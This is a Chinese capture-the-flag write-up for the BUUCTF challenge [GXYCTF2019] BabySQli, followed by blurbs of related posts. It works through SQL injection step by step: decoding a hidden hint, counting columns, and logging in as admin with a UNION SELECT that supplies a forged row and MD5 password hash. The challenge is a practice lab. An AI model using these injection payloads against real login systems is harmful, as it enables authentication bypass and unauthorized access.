BUUCTF[GXYCTF2019]BabySQli

SQL注入题型，在进行了自己的一些测试发现，用户名存在admin，我们F12看看源码：

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Do you know who am I?</title>
<center><form action="search.php" method="post" style="margin-top: 300"><input type="text" name="name" placeholder="UserName" required><br><input type="password" style="margin-top: 20" name="pw" placeholder="password" required><br><button style="margin-top:20;" type="submit">登录</button></form>
</center>

由于没有注释内容，所以我试试抓包看看有没有注释内容，

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->

base32 只有大写字母和数字数字组成，或者后面有三个等号。
base64 只有大写字母和数字，小写字母组成，后面一般是两个等号。

可以看出这是base32加密，解密如下：

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

base64解密得到sql语句，这句话应该是提示

select * from user where username = '$name'

单引号闭合，使用payload：

name=admin'&pw=123

查看字段数：

name=admin' order by 3#&pw=123

大小写绕过尝试：

name=admin' Order by 3#&pw=123

name=admin' Order by 4#&pw=123

字段数为3，查看回显点位，

name=admin' union select 1,2,3#&pw=123

由于回显一样，暂时看不到，我们继续往后做。

这里学到了一个新知识：mysql在联合查询不存在的数据时，会自动构建虚拟数据，

比如我们使用：

select * from user where username = 'wxs' union select 1,'admin','123456';

原本库里没有123456，但mysql自动给我们加上了，相当于我们临时创建了一个admin用户，密码是123456。

所以我们假设密码是123456，其md5值为：e10adc3949ba59abbe56e057f20f883e

构造payload：

name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456

成功登录得到flag：

思路：利用构造一个虚拟身份来进行伪造真实身份，从而绕过审核机制。

BUUCTF[GXYCTF2019]BabySQli相关推荐

BUUCTF | [GXYCTF2019]BabySQli
BUUCTF | [GXYCTF2019]BabySQli 一.必备基础知识当=号被过滤了使用like,rlike绕过当or被过滤了使用大小写绕过,双写绕过,&&绕过二.实战化渗 ...
BUUCTF [GXYCTF2019]BabySQli 1
刚学完sqli,我才知道万能口令这么危险,还好我进行了防护,还用md5哈希了密码!# 打开容器就单单两个输入栏,,多少有点简陋看标签叫Do you know who am I?看来是要用,先用万能 ...
buuctf [GXYCTF2019]BabySQli
今日份习题名字叫babysqli 主界面是一个登陆页面,看起来好像不难的亚子开搞! 通过尝试发现or,=,()都被过滤了输入的时候,一个是wrong user,一个是wrong pass,尝试抓 ...
buuctf [GXYCTF2019]BabySQli
常规sql注入都行不通,查看源码发现一个search.php, 先说说base32 和 base64 的区别, base32 只有大写字母和数字数字组成,或者后面有三个等号. base64 只有大写字 ...
[ buuctf GXYCTF2019]BabySQli
输入账户密码后查看源代码 MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VS ...
BUUCTF——[GXYCTF2019]BabySQli
文章目录利用点解题分析完利用点 SQL字符型注入 UNION SELECT联合查询特性解题 search.php的注释发现hint <!--MMZFM422K5HDASKDN5TVU ...
BUUCTF:[GXYCTF2019]BabySQli
打开靶机是一个登录框.右键看一下源码. 可以看到是以post方法传参.感觉像时间盲注.随便输入一个用户名和密码,然后bp抓包. 我们把这个页面全部复制,创建一个txt文件粘贴进去. 把这个文件托进k ...
BUUCTF [GXYCTF2019] 禁止套娃
题目分析这题对我这个小白来说好难理解,慢慢补坑吧.PHP很多常用的函数都不是很了解,命令执行也是呜呜呜感觉学得还不是很精通. 打开题目,只有如下: 看源码也没有什么东西,常见的信息泄露:robots ...
buuctf[GXYCTF2019]Ping Ping Ping
buuctf[GXYCTF2019]Ping Ping Ping 这个题目的标题是pingping盲猜是关于命令执行的题目打开环境后只有一个/ip=? 应该是提示用get的方式来传参一个地址执行p ...

BUUCTF[GXYCTF2019]BabySQli

BUUCTF[GXYCTF2019]BabySQli相关推荐

最新文章

热门文章